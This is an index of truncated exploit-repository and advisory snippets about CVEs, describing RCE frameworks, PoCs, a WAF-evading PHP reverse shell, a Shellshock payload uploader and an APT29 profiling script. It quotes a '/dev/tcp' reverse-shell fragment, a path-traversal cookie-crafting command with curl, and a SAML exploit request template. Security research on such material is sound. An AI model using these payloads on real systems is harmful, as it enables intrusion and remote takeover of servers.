react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 漏洞利用框架 针对 CVE-2025-55182（Next.js 远程代码执行）的高级漏洞利用框架 作者: opsecramdan 📚 目录 概述 漏洞详情 功能特性 环境要求 安装 使用方法 交互式 Shell 输出文件 影响 缓解措施 局限性 免责声明 📌 概述 React2Shell 是一个漏洞利用框架，用于识别和利用基于 Next.js 应用中的 CVE-2025-55182 漏洞。 该工具被设计为 一体化攻击工具包 ，涵盖： 子域名枚举 漏洞扫描 漏洞利用引擎 交互式远程 Shell 🔍 漏洞详情 CVE ID :...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Este repositorio contiene un script de Prueba de Concepto PoC para CVE-2024-36401, una vulnerabilidad que puede explotarse para obtener ejecución remota de código en el servidor objetivo. Características Asignar un listener de reverse shell usando Perl. Codificar comandos usand...

CVE-2023-25581

此 Python 脚本演示了如何利用 pac4j-core 中的 CVE-2023-25581 漏洞。该漏洞允许攻击者通过反序列化恶意构造的 Base64 编码数据执行任意代码（远程代码执行，RCE）。 先决条件 在运行脚本之前，请确保已安装以下内容： Python 3.x：下载 Python requests 库：通过运行以下命令进行安装： bash pip install requests 使用方法 克隆仓库： 将此仓库克隆到本地机器： bash git clone https://github.com/p33d/CVE-2023-25581 cd CVE-2023-25581...

PHP-REVERSE-SHELL

PHP 反向Shell 强大且隐蔽 这是一个专为道德黑客和渗透测试设计的强大且隐蔽的 PHP 反向Shell。 它能够建立一条可靠且安静的回连通道到您的机器。 ⚠️ 免责声明 此 PHP 反向Shell 严格仅用于教育和授权的渗透测试目的。 开发者对使用此 反向Shell 进行的任何滥用、损害或非法活动概不负责。 请负责任地使用，仅限您拥有或获得明确许可的系统。未经授权的访问是违法的，并将受到法律制裁。 特性 IP 和 Shell 命令经过 Base64 编码，实现隐身 函数名被反转以绕过 WAF 和安全过滤器 静默模式——不显示任何输出以避免检测 连接断开后自动重连...

CVE-2018-19518

CVE-2018-19518 最后报告在此：https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF 用法 运行应用 docker-compose up -d Web 应用的正常使用示例。 imap : webmail.grenoble-inp.org 用户 : [email protected] 密码 : xxx 利用 使用 echo '1234567890'/tmp/test0001。 POST / HTTP/1.1 Host:...

UI_CVE-2017-9248

UICVE-2017-9248 针对 CVE-2017-9248（Telerik UI for ASP.NET AJAX 对话框处理器）的基于 Base64 的加密预言机漏洞利用...

CVE-2021-3131

CVE-2021-3131 Descripción sugerida El servidor web en 1C:Enterprise 8 anterior a 8.3.17.1851 envía credenciales codificadas en base64 en el parámetro URL 'creds'. Tipo de vulnerabilidad Otro CWE-522 Credenciales insuficientemente protegidas Vendedor del producto 1C Company Código base del product...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - 交互式shell HTTP劫持 + POST + AES-256-CBC/BASE64 检测 -dnslog DNSLog无回显检测 Nuclei -poc 漏洞回显检测 利用 -exp 交互式shell base64回显 -exp2 交互式shell HTTP劫持 + POST + Base64 -exp3 交互式shell HTTP劫持 + POST + AES-256-CBC burpsuite...

CVE-2022-21449

CVE-2022-21449 该仓库展示了在nodejs环境中为容易受到Java中"心理签名"攻击的应用程序生成base64签名的方法 😅 在运行之前，请确保从 https://github.com/davwwwx/elliptic 安装修改后的elliptic分支 $ npm install 生成签名 $ node index.js 从DataDog/security-labs-pocs获取一个易受攻击的示例应用程序 -...

CVE-2026-100370 DOMSanitizer - Incomplete data: URL Sanitization in DOMSanitizer::isDangerousUrl() Allows Base64-Encoded Payloads to Bypass href and xlink:href Validation

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.15, the isDangerousUrl method is responsible for rejecting dangerous URL values in the href and xlink:href attributes. The weakness is that "javascript:" is rejected as a scheme, while "data:" is rejected only when the...

MetabaseRCE_CVE-2023-38646

Metabase 预认证 RCE CVE-2023-38646 PoC CVE-2023-38646 的概念验证，一种 Metabase 漏洞利用，允许用户利用在 /api/session/properties 中找到的设置令牌发送 base64 编码的有效负载来实现远程代码执行 使用方法 ./MetabaseRCECVE-2023-38646 -u target url -t target token -c command...

CVE-2014-6271

Hellshocker 0.1.1 用于利用 Shellshock 漏洞的工具 厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash & /dev/tcp/IP/port 0&1" 这种方式进入服务器？ 是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。 有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。 "哇，"你说，"但是我不用 PHP，我需要 Java...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam 远程代码执行（RCE）漏洞利用程序 一个针对 CVE-2026-23744 的 Python 3 概念验证（Proof-of-Concept）漏洞利用程序，该漏洞是影响 mcpJam v1.4.2 的任意命令执行漏洞。 该工具通过在传输前将命令透明地 Base64 编码来自动化载荷传递，有助于绕过严格的输入验证和字符过滤机制。载荷在目标系统上通过 /bin/bash 包装器进行解码并执行。 功能特性 自动 Base64 载荷编码 命令在传输前会被自动编码，在针对强制实施严格输入验证或字符限制的应用程序时，可提高可靠性。 灵活的命令执行...

JQueryingU

JQueryingU 说明： 基础客户端检测代码由 Christian Ludwig（https://jsfiddle.net/ChristianL/AVyND/）创建，并于 2016 年被 APT 29 使用。APT 29 将弹窗修改为 POST 请求，并在一次会议跟踪活动中利用它来剖析用户系统并识别点击者，随后才发送恶意载荷。 代码已被修改，改为通过 Base64 编码的伪造分析 GET 请求发送信息，而非 APT 29 使用的明文 POST。脚本中通过 https://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js...

CVE-2025-61686_docker

CVE-2025-61686docker 启动 1.build docker-compose up --build 2.start docker-compose up 复现流程 1.构造符合穿越条件的session └─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-' | tr -d '=' IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 2.将构造session塞到Cookie，发送请求 └─$ curl -H 'Cookie:...

PoC-for-ME-SAML-Vulnerability

PoC-for-ME-SAML-Vulnerability PoC para cve-2022-47966 Para probarlo, envíalo a /SamlResponseServlet como una solicitud POST. Codifícalo en Base64 y pásalo como valor del parámetro SAMLResponse y envíalo. Formato POST /SamlResponseServlet HTTP/1.0 Host: SAMLResponse=&RelayState=...

CVE-2019-15715

CVE-2019-15715 当前仓库是 CVE-2019-15715 的 Python3 实现，旨在专注于改进 Nikolas Geiselman 最初在此处报告的 CVE-2019-15715，通过添加 Python 的参数实现使脚本更加灵活。 python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT -rs $BASE64REVSHELL You can use...

CVE-2026-67236 RabbitMQ: Plaintext username:password stored in an insecure cookie after successful POST /login

RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, a successful POST /login caused isauthorized/2 to set an auth cookie containing base64-encoded username:password credentials without HttpOnly, Secure, SameSite, or expiration protections. Because base64 is encoding...

EUVD-2026-87141

RabbitMQ is a messaging and streaming broker. From 4.2.0 until 4.2.8 and 4.3.2, a successful POST /login caused isauthorized/2 to set an auth cookie containing base64-encoded username:password credentials without HttpOnly, Secure, SameSite, or expiration protections. Because base64 is encoding...

CVE-2026-95831

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generatecertificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated wi...